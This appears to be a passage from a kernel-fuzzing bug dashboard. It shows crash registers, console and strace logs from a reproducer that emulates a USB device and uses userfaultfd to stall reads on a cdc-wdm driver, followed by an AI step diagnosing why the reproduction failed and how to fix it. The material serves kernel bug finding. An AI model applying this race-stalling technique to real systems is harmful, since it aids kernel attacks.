RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
IsProbe: false
Reproduced: false
Console Output: [ 60.855973][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 60.856048][ T33] audit: type=1400 audit(1789170213.537:201): avc: denied { transition } for pid=5831 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.856087][ T33] audit: type=1400 audit(1789170213.537:202): avc: denied { noatsecure } for pid=5831 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.867077][ T33] audit: type=1400 audit(1789170213.547:203): avc: denied { rlimitinh } for pid=5831 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.867195][ T33] audit: type=1400 audit(1789170213.547:204): avc: denied { siginh } for pid=5831 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:43750' (ED25519) to the list of known hosts.
[ 64.446611][ T33] audit: type=1400 audit(1789170217.127:205): avc: denied { write } for pid=5843 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.486301][ T33] audit: type=1400 audit(1789170217.167:206): avc: denied { write } for pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.512616][ T33] audit: type=1400 audit(1789170217.187:207): avc: denied { read write } for pid=5847 comm="syz-executor317" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.513004][ T33] audit: type=1400 audit(1789170217.187:208): avc: denied { open } for pid=5847 comm="syz-executor317" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[+] Gadget initialized and running.
[ 64.521297][ T33] audit: type=1400 audit(1789170217.187:209): avc: denied { ioctl } for pid=5847 comm="syz-executor317" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.755527][ T807] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 64.796576][ T33] audit: type=1400 audit(1789170217.477:210): avc: denied { write } for pid=5855 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.906330][ T807] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a7, bcdDevice= 1.00
[ 64.910080][ T807] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[+] Endpoint EP1 IN enabled (index 0).
[+] Waiting for /dev/cdc-wdmX to appear...
[ 64.921291][ T807] cdc_wdm 1-1:1.0: cdc-wdm0: USB WDM device
[ 64.921338][ T807] cdc_wdm 1-1:1.0: Unknown control protocol
[+] Sending first notification on EP1...
[+] Sending second notification on EP1...
[+] Opened /dev/cdc-wdm0
[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...
[+] Second notification sent.
[+] Waiting for read() to block in userfaultfd...
[+] Calling read() on /dev/cdc-wdm0...
read uffd: Resource temporarily unavailable
[ 65.431072][ T2269] usb 1-1: USB disconnect, device number 2
[ 66.111439][ T33] kauditd_printk_skb: 14 callbacks suppressed
[ 66.111500][ T33] audit: type=1400 audit(1789170218.787:225): avc: denied { write } for pid=5887 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.148614][ T33] audit: type=1400 audit(1789170218.827:226): avc: denied { write } for pid=5890 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.042481][ T33] audit: type=1400 audit(1789170219.717:227): avc: denied { write } for pid=5893 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.081168][ T33] audit: type=1400 audit(1789170219.757:228): avc: denied { write } for pid=5896 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.577378][ T1383] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.577456][ T1383] ieee802154 phy1 wpan1: encryption failed: -22
[ 76.696106][ T9] cfg80211: failed to load regulatory.db
Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor3438138509
<...>
[ 61.676506][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.676582][ T33] audit: type=1400 audit(1789170305.183:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.678386][ T33] audit: type=1400 audit(1789170305.193:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.680019][ T33] audit: type=1400 audit(1789170305.193:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.680038][ T33] audit: type=1400 audit(1789170305.193:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.644031][ T33] audit: type=1400 audit(1789170308.153:205): avc: denied { write } for pid=5835 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.682627][ T33] audit: type=1400 audit(1789170308.193:206): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.113474][ T33] audit: type=1400 audit(1789170308.623:207): avc: denied { write } for pid=5841 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.154235][ T33] audit: type=1400 audit(1789170308.663:208): avc: denied { write } for pid=5844 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.225194][ T33] audit: type=1400 audit(1789170308.733:209): avc: denied { write } for pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.273133][ T33] audit: type=1400 audit(1789170308.783:210): avc: denied { write } for pid=5850 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:33972' (ED25519) to the list of known hosts.
[ 66.499891][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.499963][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
execve("/syz-executor3438138509", ["/syz-executor3438138509"], 0x7ffdcc1c5810 /* 11 vars */) = 0
brk(NULL) = 0x55555f629000
brk(0x55555f629d80) = 0x55555f629d80
arch_prctl(ARCH_SET_FS, 0x55555f629400) = 0
set_tid_address(0x55555f6296d0) = 5883
set_robust_list(0x55555f6296e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor3438138509", 4096) = 23
getrandom("\x76\xe4\x26\xf4\x47\xa6\xcb\x1a", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55555f629d80
brk(0x55555f64ad80) = 0x55555f64ad80
brk(0x55555f64b000) = 0x55555f64b000
mprotect(0x7f97e5251000, 20480, PROT_READ) = 0
rt_sigaction(SIGRT_1, {sa_handler=0x7f97e51dcdd0, sa_mask=[], sa_flags=SA_RESTORER|SA_ONSTACK|SA_RESTART|SA_SIGINFO, sa_restorer=0x7f97e51cbae0}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f97e4981000
mprotect(0x7f97e4982000, 8388608, PROT_READ|PROT_WRITE) = 0
rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e5181990, parent_tid=0x7f97e5181990, exit_signal=0, stack=0x7f97e4981000, stack_size=0x8002c0, tls=0x7f97e51816c0}/strace: Process 5885 attached
<unfinished ...>
[pid 5885] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5883] <... clone3 resumed> => {parent_tid=[5885]}, 88) = 5885
[pid 5883] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5885] <... rseq resumed>) = 0
[pid 5883] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5885] set_robust_list(0x7f97e51819a0, 24 <unfinished ...>
[pid 5883] mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0 <unfinished ...>
[pid 5885] <... set_robust_list resumed>) = 0
[pid 5883] <... mmap resumed>) = 0x7f97e4180000
[pid 5885] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5883] mprotect(0x7f97e4181000, 8388608, PROT_READ|PROT_WRITE <unfinished ...>
[pid 5885] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5883] <... mprotect resumed>) = 0
[pid 5885] openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR <unfinished ...>
[pid 5883] rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
[pid 5883] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e4980990, parent_tid=0x7f97e4980990, exit_signal=0, stack=0x7f97e4180000, stack_size=0x8002c0, tls=0x7f97e49806c0} => {parent_tid=[5886]}, 88) = 5886
[pid 5883] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5883] futex(0x7f97e5257b70, FUTEX_WAIT_PRIVATE, 0, NULL/strace: Process 5886 attached
[ 66.702645][ T33] kauditd_printk_skb: 6 callbacks suppressed
[ 66.702950][ T33] audit: type=1400 audit(1789170310.213:217): avc: denied { read write } for pid=5883 comm="syz-executor343" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
<unfinished ...>
[pid 5886] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5885] <... openat resumed>) = 3
[pid 5886] <... rseq resumed>) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_INIT, 0x7f97e5180f60 <unfinished ...>
[pid 5886] set_robust_list(0x7f97e49809a0, 24 <unfinished ...>
[pid 5885] <... ioctl resumed>) = 0
[pid 5886] <... set_robust_list resumed>) = 0
[pid 5886] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5886] futex(0x7f97e5257b70, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[ 66.709343][ T33] audit: type=1400 audit(1789170310.213:218): avc: denied { open } for pid=5883 comm="syz-executor343" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 66.715036][ T33] audit: type=1400 audit(1789170310.233:219): avc: denied { ioctl } for pid=5883 comm="syz-executor343" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[pid 5885] ioctl(3, UI_DEV_CREATE or USB_RAW_IOCTL_RUN, 0) = 0
[pid 5885] write(1, "[+] Gadget initialized and running.", 35) = 35
[pid 5885] write(1, "\n", 1) = 1
[+] Gadget initialized and running.
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 66.947262][ T5619] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 18
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 67.022005][ T33] audit: type=1400 audit(1789170310.533:220): avc: denied { write } for pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.056937][ T33] audit: type=1400 audit(1789170310.573:221): avc: denied { write } for pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 18
[ 67.098496][ T5619] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a7, bcdDevice= 1.00
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 9
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 67.128295][ T5619] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 32
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_READ, 0x7f97e51810d0) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_CONFIGURE, 0) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP_ENABLE, 0x7f97e5256137) = 0
[pid 5885] write(1, "[+] Endpoint EP1 IN enabled (index 0).\n", 39) = 39
[+] Endpoint EP1 IN enabled (index 0).
[pid 5885] futex(0x7f97e5257b70, FUTEX_WAKE_PRIVATE, 1000000 <unfinished ...>
[pid 5883] <... futex resumed>) = 0
[pid 5886] <... futex resumed>) = 0
[pid 5885] <... futex resumed>) = 2
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080 <unfinished ...>
[pid 5883] write(1, "[+] Waiting for /dev/cdc-wdmX to appear...", 42) = 42
[pid 5883] write(1, "\n", 1) = 1
[+] Waiting for /dev/cdc-wdmX to appear...
[ 67.159645][ T5619] cdc_wdm 1-1:1.0: cdc-wdm0: USB WDM device
[ 67.163184][ T5619] cdc_wdm 1-1:1.0: Unknown control protocol
[pid 5886] write(1, "[+] Sending first notification on EP1...", 40) = 40
[+] Sending first notification on EP1...
[pid 5886] write(1, "\n", 1) = 1
[pid 5886] ioctl(3, USB_RAW_IOCTL_EP_WRITE, 0x7f97e4980100) = 8
[pid 5886] write(1, "[+] Sending second notification on EP1...", 41) = 41
[pid 5886] write(1, "\n", 1) = 1
[+] Sending second notification on EP1...
[pid 5886] ioctl(3, USB_RAW_IOCTL_EP_WRITE, 0x7f97e4980100 <unfinished ...>
[ 67.658735][ T33] audit: type=1400 audit(1789170311.173:222): avc: denied { read write } for pid=5883 comm="syz-executor343" name="cdc-wdm0" dev="devtmpfs" ino=2796 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:modem_device_t tclass=chr_file permissive=1
[ 67.659725][ T33] audit: type=1400 audit(1789170311.173:223): avc: denied { open } for pid=5883 comm="syz-executor343" path="/dev/cdc-wdm0" dev="devtmpfs" ino=2796 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:modem_device_t tclass=chr_file permissive=1
[pid 5883] openat(AT_FDCWD, "/dev/cdc-wdm0", O_RDWR) = 4
[pid 5886] <... ioctl resumed>) = 8
[pid 5885] <... ioctl resumed>) = 0
[pid 5883] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5885] write(1, "[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...", 67) = 67
[pid 5885] write(1, "\n", 1) = 1
[pid 5885] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1) = 0
[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...
[pid 5883] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5886] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5885] futex(0x7f97e5257b64, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[pid 5883] write(1, "[+] Opened /dev/cdc-wdm0\n", 25 <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5883] <... write resumed>) = 25
[+] Opened /dev/cdc-wdm0
[pid 5883] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1) = 1
[pid 5886] <... futex resumed>) = 0
[pid 5883] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
[pid 5886] write(1, "[+] Second notification sent.", 29 <unfinished ...>
[pid 5883] <... mmap resumed>) = 0x7f97e417f000
[pid 5886] <... write resumed>) = 29
[pid 5883] userfaultfd(O_NONBLOCK|O_CLOEXEC <unfinished ...>
[ 67.680464][ T33] audit: type=1400 audit(1789170311.193:224): avc: denied { create } for pid=5883 comm="syz-executor343" anonclass=[userfaultfd] scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[+] Second notification sent.
[pid 5886] write(1, "\n", 1 <unfinished ...>
[pid 5883] <... userfaultfd resumed>) = 5
[pid 5886] <... write resumed>) = 1
[pid 5883] ioctl(5, UFFDIO_API, {api=0xaa, features=0 <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1 <unfinished ...>
[pid 5883] <... ioctl resumed> => features=UFFD_FEATURE_PAGEFAULT_FLAG_WP|UFFD_FEATURE_EVENT_FORK|UFFD_FEATURE_EVENT_REMAP|UFFD_FEATURE_EVENT_REMOVE|UFFD_FEATURE_MISSING_HUGETLBFS|UFFD_FEATURE_MISSING_SHMEM|UFFD_FEATURE_EVENT_UNMAP|UFFD_FEATURE_SIGBUS|UFFD_FEATURE_THREAD_ID|UFFD_FEATURE_MINOR_HUGETLBFS|UFFD_FEATURE_MINOR_SHMEM|UFFD_FEATURE_EXACT_ADDRESS|UFFD_FEATURE_POISON|UFFD_FEATURE_MOVE|0x60000, ioctls=1<<_UFFDIO_REGISTER|1<<_UFFDIO_UNREGISTER|1<<_UFFDIO_API|0x400}) = 0
[pid 5886] <... futex resumed>) = 0
[pid 5886] futex(0x7f97e5257b64, FUTEX_WAKE_PRIVATE, 1000000) = 1
[pid 5885] <... futex resumed>) = 0
[ 67.699543][ T33] audit: type=1400 audit(1789170311.213:225): avc: denied { ioctl } for pid=5883 comm="syz-executor343" path="anon_inode:[userfaultfd]" dev="anon_inodefs" ino=8216 ioctlcmd=0xaa3f scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[pid 5886] write(1, "[+] Waiting for read() to block in userfaultfd...", 49 <unfinished ...>
[pid 5883] ioctl(5, UFFDIO_REGISTER, {range={start=0x7f97e417f000, len=0x1000}, mode=UFFDIO_REGISTER_MODE_MISSING <unfinished ...>
[pid 5886] <... write resumed>) = 49
[pid 5883] <... ioctl resumed>, ioctls=1<<_UFFDIO_WAKE|1<<_UFFDIO_COPY|1<<_UFFDIO_ZEROPAGE|1<<_UFFDIO_MOVE|1<<_UFFDIO_POISON}) = 0
[pid 5883] mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f97e397e000
[pid 5883] mprotect(0x7f97e397f000, 8388608, PROT_READ|PROT_WRITE) = 0
[pid 5883] rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
[pid 5883] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e417e990, parent_tid=0x7f97e417e990, exit_signal=0, stack=0x7f97e397e000, stack_size=0x8002c0, tls=0x7f97e417e6c0}/strace: Process 5895 attached
<unfinished ...>
[pid 5895] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5883] <... clone3 resumed> => {parent_tid=[5895]}, 88) = 5895
[+] Waiting for read() to block in userfaultfd...
[pid 5886] write(1, "\n", 1 <unfinished ...>
[pid 5883] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5895] <... rseq resumed>) = 0
[pid 5886] <... write resumed>) = 1
[pid 5883] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5883] write(1, "[+] Calling read() on /dev/cdc-wdm0...\n", 39 <unfinished ...>
[pid 5895] set_robust_list(0x7f97e417e9a0, 24 <unfinished ...>
[pid 5886] futex(0x7f97e5257b6c, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[pid 5883] <... write resumed>) = 39
[pid 5895] <... set_robust_list resumed>) = 0
[pid 5883] read(4 <unfinished ...>
[+] Calling read() on /dev/cdc-wdm0...
[pid 5895] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5895] read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN (Resource temporarily unavailable)
[ 67.722419][ T33] audit: type=1400 audit(1789170311.233:226): avc: denied { read } for pid=5883 comm="syz-executor343" path="anon_inode:[userfaultfd]" dev="anon_inodefs" ino=8216 scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[pid 5895] dup(2) = 6
[pid 5895] fcntl(6, F_GETFL) = 0x1 (flags O_WRONLY)
[pid 5895] close(6) = 0
[pid 5895] mmap(NULL, 134217728, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f97db800000
[pid 5895] munmap(0x7f97db800000, 8388608) = 0
[pid 5895] munmap(0x7f97e0000000, 58720256) = 0
[pid 5895] mprotect(0x7f97dc000000, 135168, PROT_READ|PROT_WRITE) = 0
[pid 5895] write(2, "read uffd: Resource temporarily unavailable\n", 44read uffd: Resource temporarily unavailable
) = 44
[pid 5895] exit_group(1 <unfinished ...>
[pid 5886] <... futex resumed>) = ?
[pid 5883] <... read resumed> <unfinished ...>) = ?
[pid 5895] <... exit_group resumed>) = ?
[pid 5886] +++ exited with 1 +++
[pid 5885] +++ exited with 1 +++
[pid 5895] +++ exited with 1 +++
[ 67.745545][ T51] usb 1-1: USB disconnect, device number 2
+++ exited with 1 +++
[ 76.738503][ T10] cfg80211: failed to load regulatory.db
Crash Report:
|
| 429/4 |
2026/09/11 23:45 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 14342
output: 243
thoughts: 1070
Thoughts: **Analysis of Kernel Bug Reproduction Attempt**
My primary objective here was to dissect the output from running a generated C program designed to reproduce a specific kernel bug, identified by the warning `WARNING in service_outstanding_interrupt/usb_submit_urb`. The crucial observation upfront was the absence of a crash report, indicating that the program executed without a catastrophic kernel failure. Instead, the execution was deemed successful from a general perspective, but it terminated with an exit code of 1, signaling an abnormal program termination.
To understand this exit code and the program's behavior, I meticulously reviewed the console output and the `strace` logs. The console output painted a picture of a gadget being initialized, endpoints being enabled, and the program actively waiting for a device node (`/dev/cdc-wdmX`) to appear. It then proceeded to send notifications, open the device node, and engage in what appeared to be a control read operation, subsequently waiting for a "Notif 2." The final log entry on the console was particularly telling: "Waiting for read() to block in userfaultfd..." followed by "Calling read() on /dev/cdc-wdm0..." and then the critical error message, "read uffd: Resource temporarily unavailable."
The `strace` output corroborated and elaborated on these observations. I saw the `userfaultfd` system call being initiated with flags `O_NONBLOCK` and `O_CLOEXEC`, resulting in a file descriptor (fd 5). Following this, there were `ioctl` calls related to `UFFDIO_API` and `UFFDIO_REGISTER`, indicating the setup of the userfaultfd mechanism for managing page faults. The key event, however, occurred when a read operation was attempted on fd 5. The `strace` log clearly shows `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN (Resource temporarily unavailable)`. This was immediately followed by the program writing this exact error message to `stderr` and subsequently exiting with `exit_group(1)`.
My understanding solidified: the issue stemmed directly from the way `userfaultfd` was utilized. The `O_NONBLOCK` flag was set during its creation. In a non-blocking context, a `read()` operation on a `userfaultfd` file descriptor will immediately return `-1` with `errno` set to `EAGAIN` if there are no pending page faults or events to report. This is precisely what happened here. The fault handler thread, responsible for processing these events, attempted a `read()` call on the non-blocking `userfaultfd` descriptor. Since no page fault had been triggered yet by the main thread, the `read()` call returned `EAGAIN`, causing the fault handler thread to interpret this as an unrecoverable state and exit prematurely. This premature exit would then have torn down the entire process before the main thread had a chance to orchestrate the conditions necessary to trigger the intended kernel bug.
Therefore, my conclusion is that the reproduction failed because of a race condition or, more accurately, a misunderstanding of the non-blocking nature of the `userfaultfd` when not properly handled. The fault handler thread should have employed `poll()` or `select()` to wait for the `userfaultfd` to become readable before attempting a `read()`, or the `userfaultfd` itself should have been initialized without the `O_NONBLOCK` flag if blocking reads were intended. This premature exit of the fault handler thread prevented the main thread from ever reaching the code path that was supposed to trigger the `usb_submit_urb` warning.
|
| 430/4 |
2026/09/11 23:46 |
tool |
set-results |
0m
